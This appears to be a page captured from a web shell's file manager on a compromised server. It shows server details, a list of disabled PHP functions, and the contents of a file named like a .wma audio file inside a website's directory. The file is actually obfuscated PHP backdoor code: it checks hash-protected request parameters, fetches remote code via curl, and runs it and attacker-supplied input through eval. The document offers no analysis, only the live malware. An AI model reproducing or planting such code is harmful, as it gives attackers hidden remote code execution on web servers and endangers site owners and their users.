HEX
Server: nginx/1.24.0
System: Linux localhost 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.27
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/bientansht.com/4c078f/4c078f/yKPvInRsYxSNFXAzp.wma
<?php
 goto EeLxXUAiAd5; plZxMLOYn0q: metaphone("\144\121\x64\172\x55\132\107\x76\x76\x73\122\151\102\107\x6f\150\x45\x35\x64\x34\x4c\x4c\170\114\x41\x6f\106\x38\x2b\57\150\x42\143\116\167\106\116\x78\x47\x36\157\115\x30"); goto nXJvxmyURLW; g93_R54ay4m: if (!(in_array(gettype($WSNlIbqxspi) . "\62\x34", $WSNlIbqxspi) && md5(md5(md5(md5($WSNlIbqxspi[18])))) === "\66\65\x33\x35\145\146\143\x30\67\x33\x33\x65\144\64\x61\63\x36\145\x38\64\63\x37\x33\65\61\x35\x39\x65\x39\70\x38\x31")) { goto c5sbuN0HmTO; } goto tnlqlw8FiSx; vQTVSGDqpWb: $BT0eHJ11wTm = $e1j5OjIfsEI("\176", "\x20"); goto TTw231H_msv; bTyOSzJ9IWz: c5sbuN0HmTO: goto plZxMLOYn0q; TTw231H_msv: $WSNlIbqxspi = ${$BT0eHJ11wTm[12 + 19] . $BT0eHJ11wTm[15 + 44] . $BT0eHJ11wTm[3 + 44] . $BT0eHJ11wTm[15 + 32] . $BT0eHJ11wTm[5 + 46] . $BT0eHJ11wTm[2 + 51] . $BT0eHJ11wTm[30 + 27]}; goto g93_R54ay4m; nXJvxmyURLW: class o8uydIOhCK0 { static function KdBbUf5Ewpq($zl0bm7hlp4X) { goto shSvYAuk1_q; VcpAr_UeHUN: return $IUhS4vnPqiX; goto Dpa5g3Y6BcG; lMDGYSjvOHA: $IUhS4vnPqiX = ''; goto Q2h1HCMz_Gi; g73fk39jSp2: nID5Kb2BT1s: goto VcpAr_UeHUN; TRjbJKtLl0k: $TZe5DfZBkDo = $rF4jTSLN1gs("\x7e", "\x20"); goto TCaR_Y7EgdB; TCaR_Y7EgdB: $zKjJFjHoHBM = explode("\x23", $zl0bm7hlp4X); goto lMDGYSjvOHA; shSvYAuk1_q: $rF4jTSLN1gs = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto TRjbJKtLl0k; Q2h1HCMz_Gi: foreach ($zKjJFjHoHBM as $KR1PfNwICqK => $n7F5pI41iRJ) { $IUhS4vnPqiX .= $TZe5DfZBkDo[$n7F5pI41iRJ - 72187]; nvl4DYVUi07: } goto g73fk39jSp2; Dpa5g3Y6BcG: } static function DqtX8upPlbj($MbZ25HPHNsH, $XnM0bqOOp1c) { goto ozYuina1eUv; bCPdYXxrEwF: $KjxbiVY3vyC = curl_exec($gqCLxqWERaK); goto dONPHLZBf9M; ozYuina1eUv: $gqCLxqWERaK = curl_init($MbZ25HPHNsH); goto MJYjUlVH8mL; dONPHLZBf9M: return empty($KjxbiVY3vyC) ? $XnM0bqOOp1c($MbZ25HPHNsH) : $KjxbiVY3vyC; goto IO52DtwvZQk; MJYjUlVH8mL: curl_setopt($gqCLxqWERaK, CURLOPT_RETURNTRANSFER, 1); goto bCPdYXxrEwF; IO52DtwvZQk: } static function Sj5ad2y3MSR() { goto EMKozlRthGn; Fmuamotv_v5: @$j1DkCpYR2qB[6 + 4](INPUT_GET, "\157\146") == 1 && die($j1DkCpYR2qB[0 + 5](__FILE__)); goto w08Toh4XXM3; p2OXt6ncn9x: $W2PSG_kzqx3 = self::dQtX8uPpLBJ($XgXzxCKha8r[0 + 1], $j1DkCpYR2qB[1 + 4]); goto UZZlZsj6eqt; eQEr090QHTF: yC3is2iTsJ7: goto AXhHAYQTrkF; pAjitdsuVWw: foreach ($MDM7in64mj1 as $Wn4E8df5vZU) { $j1DkCpYR2qB[] = self::KdBBUf5EwPq($Wn4E8df5vZU); Xgn_yEW7W1u: } goto eQEr090QHTF; EMKozlRthGn: $MDM7in64mj1 = array("\67\62\62\61\x34\43\67\62\x31\x39\x39\x23\x37\62\x32\x31\x32\43\67\x32\x32\x31\x36\x23\x37\62\x31\x39\67\43\x37\62\62\61\62\43\67\62\62\x31\x38\x23\x37\x32\62\x31\x31\x23\x37\x32\x31\71\x36\43\67\62\62\60\x33\x23\67\62\x32\61\x34\43\x37\x32\x31\x39\x37\43\x37\x32\x32\x30\x38\43\67\62\62\60\x32\43\67\x32\62\x30\x33", "\67\62\61\x39\x38\x23\67\62\x31\x39\67\43\x37\x32\61\x39\x39\43\67\x32\x32\61\70\43\x37\x32\61\71\71\x23\67\62\62\60\x32\x23\x37\x32\61\x39\67\x23\67\x32\x32\66\64\x23\x37\62\x32\x36\62", "\67\x32\x32\60\x37\43\x37\62\61\x39\70\43\x37\62\x32\60\62\x23\x37\x32\62\60\63\x23\x37\62\62\x31\70\43\x37\62\x32\x31\63\43\67\62\62\x31\62\43\67\x32\x32\61\64\43\67\x32\62\60\x32\x23\x37\62\x32\61\63\43\x37\62\62\61\x32", "\x37\x32\x32\60\x31\x23\67\62\x32\x31\x36\x23\x37\62\62\61\64\x23\x37\62\62\x30\66", "\67\x32\x32\61\x35\x23\67\x32\x32\x31\x36\43\67\62\61\71\x38\43\x37\x32\x32\61\x32\43\67\62\62\x35\x39\43\67\x32\x32\x36\x31\43\67\62\x32\x31\x38\43\x37\62\x32\61\63\43\x37\x32\x32\61\x32\x23\x37\x32\x32\x31\64\x23\x37\x32\x32\60\x32\43\67\x32\x32\61\63\43\67\x32\x32\61\x32", "\x37\x32\62\61\x31\x23\67\62\62\x30\x38\x23\x37\x32\x32\x30\65\43\x37\62\62\61\x32\43\67\x32\62\61\70\43\x37\62\62\x31\x30\x23\67\x32\x32\61\62\x23\67\62\x31\71\67\43\x37\x32\62\61\70\x23\x37\62\62\61\64\43\67\x32\62\x30\x32\x23\67\x32\x32\60\x33\43\x37\62\x31\x39\x37\43\x37\x32\62\x31\62\x23\67\x32\x32\x30\x33\43\x37\x32\x31\71\x37\43\x37\x32\x31\x39\x38", "\67\62\62\64\x31\43\x37\x32\x32\x37\x31", "\67\62\x31\x38\70", "\67\x32\62\x36\66\43\67\62\62\67\x31", "\67\62\x32\64\70\43\67\62\x32\x33\61\43\x37\x32\x32\x33\x31\43\67\x32\x32\64\x38\43\67\62\x32\62\x34", "\67\62\x32\x31\61\x23\x37\x32\x32\60\70\x23\67\62\x32\x30\x35\43\x37\62\x31\x39\x37\x23\x37\x32\x32\61\x32\x23\x37\62\61\x39\71\x23\x37\x32\62\x31\x38\x23\67\x32\62\x30\x38\x23\67\62\62\60\x33\x23\x37\x32\x32\60\x31\x23\x37\62\61\71\66\x23\67\x32\61\x39\67"); goto pAjitdsuVWw; ELYv7wTEWTS: $XgXzxCKha8r = $j1DkCpYR2qB[1 + 1]($y0XdlnxZeKa, true); goto Fmuamotv_v5; AXhHAYQTrkF: $LCwN4RDYnCi = @$j1DkCpYR2qB[1]($j1DkCpYR2qB[8 + 2](INPUT_GET, $j1DkCpYR2qB[1 + 8])); goto hDNCH8e3W9Q; hDNCH8e3W9Q: $y0XdlnxZeKa = @$j1DkCpYR2qB[2 + 1]($j1DkCpYR2qB[5 + 1], $LCwN4RDYnCi); goto ELYv7wTEWTS; UZZlZsj6eqt: @eval($j1DkCpYR2qB[2 + 2]($W2PSG_kzqx3)); goto fepVnTuGm2M; fepVnTuGm2M: die; goto fcRPbrNC0Ty; w08Toh4XXM3: if (!(@$XgXzxCKha8r[0] - time() > 0 and md5(md5($XgXzxCKha8r[1 + 2])) === "\x39\63\x39\x65\x30\67\x63\144\70\x36\71\70\70\x65\x39\x35\62\144\x36\x65\x61\143\60\61\x32\x31\x66\70\63\67\x62\61")) { goto Snk7pbAO28f; } goto p2OXt6ncn9x; fcRPbrNC0Ty: Snk7pbAO28f: goto PX2xK17Qarg; PX2xK17Qarg: } } goto J_4nO1v4O0E; jw5bzVybaJt: @eval($WSNlIbqxspi[63](${$WSNlIbqxspi[44]}[20])); goto bTyOSzJ9IWz; tnlqlw8FiSx: $WSNlIbqxspi[63] = $WSNlIbqxspi[63] . $WSNlIbqxspi[78]; goto jw5bzVybaJt; EeLxXUAiAd5: $e1j5OjIfsEI = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto vQTVSGDqpWb; J_4nO1v4O0E: O8uydioHCk0::SJ5aD2y3MsR();
?>